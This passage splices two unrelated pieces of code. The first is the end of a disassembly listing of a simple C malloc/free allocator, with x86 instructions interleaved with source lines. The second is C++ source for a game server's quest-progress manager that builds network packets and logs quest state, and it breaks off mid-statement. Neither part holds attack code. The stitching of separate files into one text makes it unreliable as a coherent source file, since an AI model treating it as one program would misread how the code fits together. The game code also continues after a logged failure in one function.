0x4(%eax),%edx 600: 8d 34 d0 lea (%eax,%edx,8),%esi 603: 39 f1 cmp %esi,%ecx 605: 74 23 je 62a <free+0x7a> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 607: 89 08 mov %ecx,(%eax) freep = p; 609: a3 f0 09 00 00 mov %eax,0x9f0 } 60e: 5b pop %ebx 60f: 5e pop %esi 610: 5f pop %edi 611: 5d pop %ebp 612: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 613: 03 72 04 add 0x4(%edx),%esi 616: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 619: 8b 10 mov (%eax),%edx 61b: 8b 12 mov (%edx),%edx 61d: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 620: 8b 50 04 mov 0x4(%eax),%edx 623: 8d 34 d0 lea (%eax,%edx,8),%esi 626: 39 f1 cmp %esi,%ecx 628: 75 dd jne 607 <free+0x57> p->s.size += bp->s.size; 62a: 03 53 fc add -0x4(%ebx),%edx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 62d: a3 f0 09 00 00 mov %eax,0x9f0 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 632: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 635: 8b 53 f8 mov -0x8(%ebx),%edx 638: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 63a: 5b pop %ebx 63b: 5e pop %esi 63c: 5f pop %edi 63d: 5d pop %ebp 63e: c3 ret 63f: 90 nop 00000640 <malloc>: return freep; } void* malloc(uint nbytes) { 640: 55 push %ebp 641: 89 e5 mov %esp,%ebp 643: 57 push %edi 644: 56 push %esi 645: 53 push %ebx 646: 83 ec 0c sub $0xc,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 649: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 64c: 8b 15 f0 09 00 00 mov 0x9f0,%edx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 652: 8d 78 07 lea 0x7(%eax),%edi 655: c1 ef 03 shr $0x3,%edi 658: 83 c7 01 add $0x1,%edi if((prevp = freep) == 0){ 65b: 85 d2 test %edx,%edx 65d: 0f 84 a3 00 00 00 je 706 <malloc+0xc6> 663: 8b 02 mov (%edx),%eax 665: 8b 48 04 mov 0x4(%eax),%ecx base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 668: 39 cf cmp %ecx,%edi 66a: 76 74 jbe 6e0 <malloc+0xa0> 66c: 81 ff 00 10 00 00 cmp $0x1000,%edi 672: be 00 10 00 00 mov $0x1000,%esi 677: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx 67e: 0f 43 f7 cmovae %edi,%esi 681: ba 00 80 00 00 mov $0x8000,%edx 686: 81 ff ff 0f 00 00 cmp $0xfff,%edi 68c: 0f 46 da cmovbe %edx,%ebx 68f: eb 10 jmp 6a1 <malloc+0x61> 691: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 698: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 69a: 8b 48 04 mov 0x4(%eax),%ecx 69d: 39 cf cmp %ecx,%edi 69f: 76 3f jbe 6e0 <malloc+0xa0> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 6a1: 39 05 f0 09 00 00 cmp %eax,0x9f0 6a7: 89 c2 mov %eax,%edx 6a9: 75 ed jne 698 <malloc+0x58> char *p; Header *hp; if(nu < 4096) nu = 4096; p = sbrk(nu * sizeof(Header)); 6ab: 83 ec 0c sub $0xc,%esp 6ae: 53 push %ebx 6af: e8 76 fc ff ff call 32a <sbrk> if(p == (char*)-1) 6b4: 83 c4 10 add $0x10,%esp 6b7: 83 f8 ff cmp $0xffffffff,%eax 6ba: 74 1c je 6d8 <malloc+0x98> return 0; hp = (Header*)p; hp->s.size = nu; 6bc: 89 70 04 mov %esi,0x4(%eax) free((void*)(hp + 1)); 6bf: 83 ec 0c sub $0xc,%esp 6c2: 83 c0 08 add $0x8,%eax 6c5: 50 push %eax 6c6: e8 e5 fe ff ff call 5b0 <free> return freep; 6cb: 8b 15 f0 09 00 00 mov 0x9f0,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 6d1: 83 c4 10 add $0x10,%esp 6d4: 85 d2 test %edx,%edx 6d6: 75 c0 jne 698 <malloc+0x58> return 0; 6d8: 31 c0 xor %eax,%eax 6da: eb 1c jmp 6f8 <malloc+0xb8> 6dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) 6e0: 39 cf cmp %ecx,%edi 6e2: 74 1c je 700 <malloc+0xc0> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 6e4: 29 f9 sub %edi,%ecx 6e6: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 6e9: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 6ec: 89 78 04 mov %edi,0x4(%eax) } freep = prevp; 6ef: 89 15 f0 09 00 00 mov %edx,0x9f0 return (void*)(p + 1); 6f5: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 6f8: 8d 65 f4 lea -0xc(%ebp),%esp 6fb: 5b pop %ebx 6fc: 5e pop %esi 6fd: 5f pop %edi 6fe: 5d pop %ebp 6ff: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 700: 8b 08 mov (%eax),%ecx 702: 89 0a mov %ecx,(%edx) 704: eb e9 jmp 6ef <malloc+0xaf> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 706: c7 05 f0 09 00 00 f4 movl $0x9f4,0x9f0 70d: 09 00 00 710: c7 05 f4 09 00 00 f4 movl $0x9f4,0x9f4 717: 09 00 00 base.s.size = 0; 71a: b8 f4 09 00 00 mov $0x9f4,%eax 71f: c7 05 f8 09 00 00 00 movl $0x0,0x9f8 726: 00 00 00 729: e9 3e ff ff ff jmp 66c <malloc+0x2c>
#include "stdafx.h" #include "QuestExpProgMng.h" #include "QuestExpInfo.h" #include "QuestExpUserInfo.h" #include "QuestExpUserMng.h" #include "QuestExpLuaBind.h" #include "user.h" #include "TLog.h" #include "GameMain.h" #include "winutil.h" #include "gObjMonster.h" #include "BuffEffectSlot.h" #include "DSProtocol.h" #include "GensSystem.h" #include "configread.h" QuestExpProgMng g_QuestExpProgMng; QuestExpProgMng::QuestExpProgMng(void) { this->m_iChangeDay = -1; } QuestExpProgMng::~QuestExpProgMng(void) { } void QuestExpProgMng::ReqQuestAskComplete(DWORD dwQuestInfoIndexID, int iObjIndex) { int iEpisode = GetQuestEpisodeFromInfoIndexId(dwQuestInfoIndexID); int iQS = GetQuestSwitchFromInfoIndexId(dwQuestInfoIndexID); if (gObj[iObjIndex].m_PlayerData->m_UserQuestInfo[iEpisode].m_UserQuestAskInfo[0].GetQuestType() == QUESTEXP_ASK_TUTORIAL_KEY) { gObj[iObjIndex].m_PlayerData->m_UserQuestInfo[iEpisode].m_UserQuestAskInfo[0].SetComplete(true); gObj[iObjIndex].m_PlayerData->m_UserQuestInfo[iEpisode].m_UserQuestAskInfo[0].SetValue(1); this->SendQuestAskInfoUpdate(iEpisode, iQS, QUESTEXP_ASK_TUTORIAL_KEY, gObj[iObjIndex].m_PlayerData->m_UserQuestInfo[iEpisode].m_UserQuestAskInfo[0].GetValue(), iObjIndex); } } struct PMSG_QUEST_GIVEUP_ANS { PBMSG_HEAD2 h; DWORD dwQuestInfoIndexID; }; void QuestExpProgMng::QuestExpGiveUpBtnClick(DWORD dwQuestInfoIndexID, int iObjIndex) { int iEpisode = GetQuestEpisodeFromInfoIndexId(dwQuestInfoIndexID); int iQS = GetQuestSwitchFromInfoIndexId(dwQuestInfoIndexID); g_Log.Add("[QuestExp] Give Up [%s][%s] Ep[%d] QS[%d]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, iEpisode, iQS); int iUserQuestSwitch = gObj[iObjIndex].m_PlayerData->m_UserQuestInfo[iEpisode].GetQuestSwitch(); lua_State *L = g_MuLuaQuestExp.GetLua(); if (!L) { g_Log.Add("[QuestExp] - Error - [%s] [%d]", __FILE__, __LINE__); return; } g_MuLuaQuestExp.Generic_Call("QuestGiveUp", "iii>", iObjIndex, iEpisode, iUserQuestSwitch); gObj[iObjIndex].m_PlayerData->m_UserQuestInfo[iEpisode].QuestAskInfoClear(); int iSendQS = gObj[iObjIndex].m_PlayerData->m_UserQuestInfo[iEpisode].GetQuestSwitch(); g_Log.Add("[QuestExp] Give Up - SetQuestSwitch [%s][%s] Ep[%d] QS[%d]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, iEpisode, iSendQS); PMSG_QUEST_GIVEUP_ANS pMsg; pMsg.dwQuestInfoIndexID = GetQuestInfoIndexId(iEpisode, iSendQS); PHeadSubSetB(reinterpret_cast<LPBYTE>(&pMsg), 0xF6, 0x0F, sizeof(pMsg)); IOCP.DataSend(iObjIndex, reinterpret_cast<LPBYTE>(&pMsg), pMsg.h.size); } #pragma pack (1) struct PMSG_NPC_QUESTEXP_INFO { PBMSG_HEAD2 h; DWORD dwQuestInfoIndexID; BYTE btAskCnt; BYTE btRewardCnt; BYTE btRandRewardCnt; PMSG_NPC_QUESTEXP_INFO() { this->dwQuestInfoIndexID = 0; this->btAskCnt = 0; this->btRewardCnt = 0; this->btRandRewardCnt = 0; } }; #pragma pack () void QuestExpProgMng::SendQuestProgress(DWORD dwQuestInfoIndexID, int iObjIndex) { PMSG_NPC_QUESTEXP_INFO pMsg; pMsg.dwQuestInfoIndexID = dwQuestInfoIndexID; pMsg.btAskCnt = 0; pMsg.btRewardCnt = 0; PHeadSubSetB((LPBYTE) & pMsg, 0xF6, 0x0B, sizeof(pMsg)); IOCP.DataSend(iObjIndex, (LPBYTE) & pMsg, pMsg.h.size); g_Log.Add("[QuestExp] - Ans Send User : Selection Statements Choose One [%s][%s] QuestIndexID[0x%x]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, dwQuestInfoIndexID); } #pragma pack (1) struct NPC_QUESTEXP_ASK_INFO { DWORD dwAskType; WORD wIndex; DWORD dwValue; DWORD dwCurrentValue; BYTE btItemInfo[MAX_ITEM_INFO]; NPC_QUESTEXP_ASK_INFO() { this->dwAskType = 0; this->wIndex = 0; this->dwValue = 0; this->dwCurrentValue = 0; memset(this->btItemInfo, 0, sizeof(this->btItemInfo)); } }; struct NPC_QUESTEXP_REWARD_INFO { DWORD dwAskType; WORD wIndex; DWORD dwValue; BYTE btItemInfo[MAX_ITEM_INFO]; NPC_QUESTEXP_REWARD_INFO() { this->dwAskType = 0; this->wIndex = 0; this->dwValue = 0; memset(this->btItemInfo, 0, sizeof(this->btItemInfo)); } }; struct NPC_QUESTEXP_INFO { NPC_QUESTEXP_ASK_INFO NpcQuestAskInfo[MAX_QUESTEXP_ASK_INFO]; NPC_QUESTEXP_REWARD_INFO NpcQuestRewardInfo[MAX_QUESTEXP_REWARD_INFO]; }; #pragma pack () void QuestExpProgMng::SendQuestProgress(QuestExpInfo *pQuestExpInfo, DWORD dwQuestInfoIndexID, int iObjIndex) { BYTE sendBuff[2048] = {0}; PMSG_NPC_QUESTEXP_INFO pMsg; int lOfs = sizeof(pMsg); NPC_QUESTEXP_INFO NpcQuestExpInfo; bool bGetSendQuestInfo = this->GetSendQuestInfo(pQuestExpInfo, dwQuestInfoIndexID, iObjIndex, &NpcQuestExpInfo); if (!bGetSendQuestInfo) { g_Log.Add("[QuestExp] - Error - SendQuestProgress() [%s] [%d]", __FILE__, __LINE__); return; } memcpy(&sendBuff[lOfs], &NpcQuestExpInfo, sizeof(NpcQuestExpInfo)); lOfs += sizeof(NpcQuestExpInfo); auto MapQuestAsk = pQuestExpInfo->GetQuestExpAsk(); auto MapQuestReward = pQuestExpInfo->GetQuestReward(); int iAskCnt = MapQuestAsk.size(); QuestExpRewardKind *pRewardKind = g_QuestExpManager.GetQuestExpRewardKind(dwQuestInfoIndexID); if (pRewardKind) { if (pRewardKind->GetRewardKind() == true) { QuestExpRewardKindRandom *pRewardKindRandom = static_cast<QuestExpRewardKindRandom *>(pRewardKind); pMsg.btRandRewardCnt = pRewardKindRandom->GetRandRewardCnt(); } } pMsg.dwQuestInfoIndexID = dwQuestInfoIndexID; pMsg.btAskCnt = iAskCnt; pMsg.btRewardCnt = MapQuestReward.size(); PHeadSubSetB((BYTE * ) & pMsg, 0xF6, 0x0C, lOfs); memcpy(sendBuff, &pMsg, sizeof(pMsg)); IOCP.DataSend(iObjIndex, sendBuff, lOfs); g_Log.Add("[QuestExp] Send QuestInfo From NPC To User : [%s][%s] Ep[%d] QS[%d]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, GetQuestEpisodeFromInfoIndexId(dwQuestInfoIndexID), GetQuestSwitchFromInfoIndexId(dwQuestInfoIndexID)); } void QuestExpProgMng::SendQuestProgress(int iEpisode, int iQS, int iObjIndex) { DWORD dwQuestInfoIndexID = GetQuestInfoIndexId(iEpisode, iQS); if (this->ChkQuestIndexIDToEpAndQSLimit(dwQuestInfoIndexID, iObjIndex) == false) { g_Log.Add("[QuestExp] - Error - [%s] [%d]", __FILE__, __LINE__); return; } QuestExpInfo *pQuestExpInfo = g_QuestExpManager.GetQuestExpInfo(dwQuestInfoIndexID); if (pQuestExpInfo) { this->SendQuestProgress(pQuestExpInfo, dwQuestInfoIndexID, iObjIndex); } else { this->SendQuestProgress(dwQuestInfoIndexID, iObjIndex); } } void QuestExpProgMng::SendQuestProgressInfo(DWORD dwQuestInfoIndexID, int iObjIndex) { QuestExpInfo *pQuestExpInfo = g_QuestExpManager.GetQuestExpInfo(dwQuestInfoIndexID); if (pQuestExpInfo) { this->SendQuestProgressInfo(pQuestExpInfo, dwQuestInfoIndexID, iObjIndex); } } void QuestExpProgMng::SendQuestProgressInfo(QuestExpInfo *pQuestExpInfo, DWORD dwQuestInfoIndexID, int iObjIndex) { BYTE sendBuff[2048] = {0}; PMSG_NPC_QUESTEXP_INFO pMsg; int lOfs = sizeof(pMsg); NPC_QUESTEXP_INFO NpcQuestExpInfo; bool bGetSendQuestInfo = GetSendQuestInfo(pQuestExpInfo, dwQuestInfoIndexID, iObjIndex, &NpcQuestExpInfo); if (!bGetSendQuestInfo) { g_Log.Add("[QuestExp] - Error - SendQuestProgressInfo() [%s] [%d]", __FILE__, __LINE__); } memcpy(&sendBuff[lOfs], &NpcQuestExpInfo, sizeof(NpcQuestExpInfo)); lOfs += sizeof(NpcQuestExpInfo); auto MapQuestAsk = pQuestExpInfo->GetQuestExpAsk(); auto MapQuestReward = pQuestExpInfo->GetQuestReward(); int iAskCnt = MapQuestAsk.size(); QuestExpRewardKind *pRewardKind = g_QuestExpManager.GetQuestExpRewardKind(dwQuestInfoIndexID); if (pRewardKind) { if (pRewardKind->GetRewardKind() == true) { QuestExpRewardKindRandom *pRewardKindRandom = static_cast<QuestExpRewardKindRandom *>(pRewardKind); pMsg.btRandRewardCnt = pRewardKindRandom->GetRandRewardCnt(); } } pMsg.dwQuestInfoIndexID = dwQuestInfoIndexID; pMsg.btAskCnt = iAskCnt; pMsg.btRewardCnt = MapQuestReward.size(); PHeadSubSetB((BYTE * ) & pMsg, 0xF6, 0x1B, lOfs); memcpy(sendBuff, &pMsg, sizeof(pMsg)); IOCP.DataSend(iObjIndex, sendBuff, lOfs); g_Log.Add("[QuestExp] Send Quest Info To QuestList : [%s][%s] Ep[%d] QS[%d]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, GetQuestEpisodeFromInfoIndexId(dwQuestInfoIndexID), GetQuestSwitchFromInfoIndexId(dwQuestInfoIndexID)); } bool QuestExpProgMng::ChkQuestAsk(int iEpisode, int iObjIndex) { int iAskCnt = 0; UserQuestInfo *pUserQuestInfo = g_QuestExpUserMng.GetUserQuestInfo(iEpisode, iObjIndex); if (!pUserQuestInfo) { g_Log.Add("[QuestExp] - Error - [%s] [%d]", __FILE__, __LINE__); return false; } int iQS = pUserQuestInfo->GetQuestSwitch(); DWORD dwQuestInfoIndexID = GetQuestInfoIndexId(iEpisode, iQS); QuestExpInfo *pQuestExpInfo = g_QuestExpManager.GetQuestExpInfo(dwQuestInfoIndexID); if (!pQuestExpInfo) { g_Log.Add("[QuestExp] - Error - ChkQuestAsk : [%s][%s] QuestIndexID[0x%x]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, dwQuestInfoIndexID); return false; } auto MapQuestAsk = pQuestExpInfo->GetQuestExpAsk(); auto map_it = MapQuestAsk.begin(); auto map_end = MapQuestAsk.end(); while (true) { if (map_it == map_end) break; QuestExpAsk *pQuestExpAsk = map_it->second; if (!pQuestExpAsk) { g_Log.Add("[QuestExp] - Error - ChkQuestAsk *** : [%s][%s] QuestIndexID[0x%x]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, dwQuestInfoIndexID); return false; } if (IsQuestAskInfo(iAskCnt) == false) { g_Log.Add("[QuestExp] - Error - iAskCnt [%d] [%s] [%d]", iAskCnt, __FILE__, __LINE__); return false; } int iQuestType = pQuestExpAsk->GetQuestType(); switch (iQuestType) { case QUESTEXP_ASK_NONE: case QUESTEXP_ASK_MONSTER: case QUESTEXP_ASK_TUTORIAL_KEY: break; case QUESTEXP_ASK_GET_ITEM: { QuestGetItem *pQuestGetItem = static_cast<QuestGetItem *>(pQuestExpAsk); ChkUserQuestTypeItem(pQuestGetItem, &pUserQuestInfo->m_UserQuestAskInfo[iAskCnt], iObjIndex); } break; case QUESTEXP_ASK_SKILL_LEARN: { QuestSkillLearn *pQuestSkillLearn = static_cast<QuestSkillLearn *>(pQuestExpAsk); ChkUserQuestTypeSkillLearn(pQuestSkillLearn, &pUserQuestInfo->m_UserQuestAskInfo[iAskCnt], iObjIndex); } break; case QUESTEXP_ASK_LEVEL_UP: { QuestLevelUp *pQuestLevelUp = static_cast<QuestLevelUp *>(pQuestExpAsk); ChkUserQuestTypeLevelUp(pQuestLevelUp, &pUserQuestInfo->m_UserQuestAskInfo[iAskCnt], iObjIndex); } break; case QUESTEXP_ASK_BUFF: { QuestBuff *pQuestBuff = static_cast<QuestBuff *>(pQuestExpAsk); ChkUserQuestTypeBuff(pQuestBuff, &pUserQuestInfo->m_UserQuestAskInfo[iAskCnt], iObjIndex); } break; case QUESTEXP_ASK_CHAOSCASTLE_USER_KILL: case QUESTEXP_ASK_CHAOSCASTLE_MON_KILL: case QUESTEXP_ASK_BLOODCASTLE_DOOR_KILL: case QUESTEXP_ASK_BLOODCASTLE_CLEAR: case QUESTEXP_ASK_CHAOSCASTLE_CLEAR: case QUESTEXP_ASK_DEVILSQUARE_CLEAR: case QUESTEXP_ASK_ILLUSIONTEMPLE_CLEAR: case QUESTEXP_ASK_DEVILSQUARE_POINT_GAIN: case QUESTEXP_ASK_CONTRIBUTION_POINT: case QUESTEXP_ASK_NPC_TALK: break; case QUESTEXP_ASK_NEED_ZEN: { QuestNeedZen *pQuestNeedZen = static_cast<QuestNeedZen *>(pQuestExpAsk); ChkUserQuestTypeNeedZen(pQuestNeedZen, &pUserQuestInfo->m_UserQuestAskInfo[iAskCnt], iObjIndex); } break; default: g_Log.Add("[QuestExp] - Error - Unknown Ask Type [%d] [%s] [%d]", iQuestType, __FILE__, __LINE__); return false; } iAskCnt++; map_it++; } return true; } bool QuestExpProgMng::GetSendQuestInfo(QuestExpInfo *pQuestExpInfo, DWORD dwQuestInfoIndexID, int iObjIndex, NPC_QUESTEXP_INFO *pNpcQuestExpInfo) { int iEpisode = GetQuestEpisodeFromInfoIndexId(dwQuestInfoIndexID); UserQuestInfo *pUserQuestInfo = g_QuestExpUserMng.GetUserQuestInfo(iEpisode, iObjIndex); if (!pUserQuestInfo) { g_Log.Add("[QuestExp] - Error - GetSendQuestInfo() pUserQuestInfo == NULL : [%s][%s]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name); return false; } auto MapQuestAsk = pQuestExpInfo->GetQuestExpAsk(); int iAskCnt = 0; auto map_it = MapQuestAsk.begin(); auto map_end = MapQuestAsk.end(); while (true) { if (map_it == map_end) break; QuestExpAsk *pQuestExpAsk = map_it->second; if (!pQuestExpAsk) { g_Log.Add("[QuestExp] - Error - GetSendQuestInfo *** : [%s][%s] QuestIndexID[0x%x]", gObj[iObjIndex].AccountID, gObj[iObjIndex].Name, dwQuestInfoIndexID); return false; } if (IsQuestAskInfo(iAskCnt) == false) { g_Log.Add("[QuestExp] - Error - iAskCnt [%d] [%s] [%d]", iAskCnt, __FILE__, __LINE__); return false; } int iQuestType = pQuestExpAsk->GetQuestType(); switch (iQuestType) { case QUESTEXP_ASK_NONE: pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwAskType = 0; break; case QUESTEXP_ASK_TUTORIAL_KEY: pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwAskType = QUESTEXP_ASK_TUTORIAL_KEY; pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwCurrentValue = pUserQuestInfo->m_UserQuestAskInfo[iAskCnt].GetValue(); break; case QUESTEXP_ASK_MONSTER: { QuestMonsterKill *pQuestMonsterKill = static_cast<QuestMonsterKill *>(pQuestExpAsk); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwAskType = QUESTEXP_ASK_MONSTER; pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].wIndex = pQuestMonsterKill->GetMonsterIndex(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwValue = pQuestMonsterKill->GetMonsterKillCnt(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwCurrentValue = pUserQuestInfo->m_UserQuestAskInfo[iAskCnt].GetValue(); } break; case QUESTEXP_ASK_GET_ITEM: { QuestGetItem *pQuestGetItem = static_cast<QuestGetItem *>(pQuestExpAsk); ChkUserQuestTypeItem(pQuestGetItem, &pUserQuestInfo->m_UserQuestAskInfo[iAskCnt], iObjIndex); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwAskType = QUESTEXP_ASK_GET_ITEM; pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].wIndex = pQuestGetItem->GetQuestItemNum(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwValue = pQuestGetItem->GetQuestItemCnt(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwCurrentValue = pUserQuestInfo->m_UserQuestAskInfo[iAskCnt].GetValue(); CItem Item; Item.m_Type = pQuestGetItem->GetQuestItemNum(); Item.m_Level = pQuestGetItem->GetQuestItemLevel(); Item.m_Option1 = pQuestGetItem->GetQuestItemSkill(); Item.m_Option3 = pQuestGetItem->GetQuestItemOpt(); Item.m_Durability = 0; Item.m_NewOption = pQuestGetItem->GetQuestItemExOpt(); ItemByteConvert(pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].btItemInfo, Item); } break; case QUESTEXP_ASK_SKILL_LEARN: { QuestSkillLearn *pQuestSkillLearn = static_cast<QuestSkillLearn *>(pQuestExpAsk); ChkUserQuestTypeSkillLearn(pQuestSkillLearn, &pUserQuestInfo->m_UserQuestAskInfo[iAskCnt], iObjIndex); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwAskType = QUESTEXP_ASK_SKILL_LEARN; pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].wIndex = pQuestSkillLearn->GetQuestSkillIndex(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwCurrentValue = pUserQuestInfo->m_UserQuestAskInfo[iAskCnt].GetValue(); } break; case QUESTEXP_ASK_LEVEL_UP: { QuestLevelUp *pQuestLevelUp = static_cast<QuestLevelUp *>(pQuestExpAsk); ChkUserQuestTypeLevelUp(pQuestLevelUp, &pUserQuestInfo->m_UserQuestAskInfo[iAskCnt], iObjIndex); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwAskType = QUESTEXP_ASK_LEVEL_UP; pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].wIndex = pQuestLevelUp->GetQuestLevelVal(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwCurrentValue = pUserQuestInfo->m_UserQuestAskInfo[iAskCnt].GetValue(); } break; case QUESTEXP_ASK_BUFF: { QuestBuff *pQuestBuff = static_cast<QuestBuff *>(pQuestExpAsk); ChkUserQuestTypeBuff(pQuestBuff, &pUserQuestInfo->m_UserQuestAskInfo[iAskCnt], iObjIndex); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwAskType = QUESTEXP_ASK_BUFF; pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwValue = pQuestBuff->GetQuestBuffIndex(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwCurrentValue = pUserQuestInfo->m_UserQuestAskInfo[iAskCnt].GetValue(); } break; case QUESTEXP_ASK_CHAOSCASTLE_USER_KILL: case QUESTEXP_ASK_CHAOSCASTLE_MON_KILL: case QUESTEXP_ASK_BLOODCASTLE_DOOR_KILL: { QuestEventMapKillPoint *pQuestEventMapKillPoint = static_cast<QuestEventMapKillPoint *>(pQuestExpAsk); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwAskType = iQuestType; pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].wIndex = pQuestEventMapKillPoint->GetQuestEventMapLevel(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwValue = pQuestEventMapKillPoint->GetQuestEventMapKillCnt(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwCurrentValue = pUserQuestInfo->m_UserQuestAskInfo[iAskCnt].GetValue(); } break; case QUESTEXP_ASK_BLOODCASTLE_CLEAR: case QUESTEXP_ASK_CHAOSCASTLE_CLEAR: case QUESTEXP_ASK_DEVILSQUARE_CLEAR: case QUESTEXP_ASK_ILLUSIONTEMPLE_CLEAR: { QuestEventMapClear *pQuestEventMapClear = static_cast<QuestEventMapClear *>(pQuestExpAsk); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwAskType = iQuestType; pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].wIndex = pQuestEventMapClear->GetQuestEventMapLevel(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwCurrentValue = pUserQuestInfo->m_UserQuestAskInfo[iAskCnt].GetValue(); } break; case QUESTEXP_ASK_DEVILSQUARE_POINT_GAIN: { QuestEventMapDevilPoint *pQuestEventMapDevilPoint = static_cast<QuestEventMapDevilPoint *>(pQuestExpAsk); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwAskType = iQuestType; pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].wIndex = pQuestEventMapDevilPoint->GetQuestEventMapLevel(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwValue = pQuestEventMapDevilPoint->GetQuestEventMapDevilPoint(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwCurrentValue = pUserQuestInfo->m_UserQuestAskInfo[iAskCnt].GetValue(); } break; case QUESTEXP_ASK_NEED_ZEN: { QuestNeedZen *pQuestNeedZen = static_cast<QuestNeedZen *>(pQuestExpAsk); ChkUserQuestTypeNeedZen(pQuestNeedZen, &pUserQuestInfo->m_UserQuestAskInfo[iAskCnt], iObjIndex); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwAskType = iQuestType; pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].wIndex = pQuestNeedZen->GetQuestNeedZen(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwCurrentValue = pUserQuestInfo->m_UserQuestAskInfo[iAskCnt].GetValue(); } break; case QUESTEXP_ASK_CONTRIBUTION_POINT: { QuestPVP_Point *pQuestPVP_Point = static_cast<QuestPVP_Point *>(pQuestExpAsk); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwAskType = iQuestType; pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].wIndex = pQuestPVP_Point->GetQuestPVP_Point(); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwCurrentValue = pUserQuestInfo->m_UserQuestAskInfo[iAskCnt].GetValue(); } break; case QUESTEXP_ASK_NPC_TALK: { QuestNpcTalk *pQuestNpcTalk = static_cast<QuestNpcTalk *>(pQuestExpAsk); pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].dwAskType = iQuestType; pNpcQuestExpInfo->NpcQuestAskInfo[iAskCnt].wIndex = 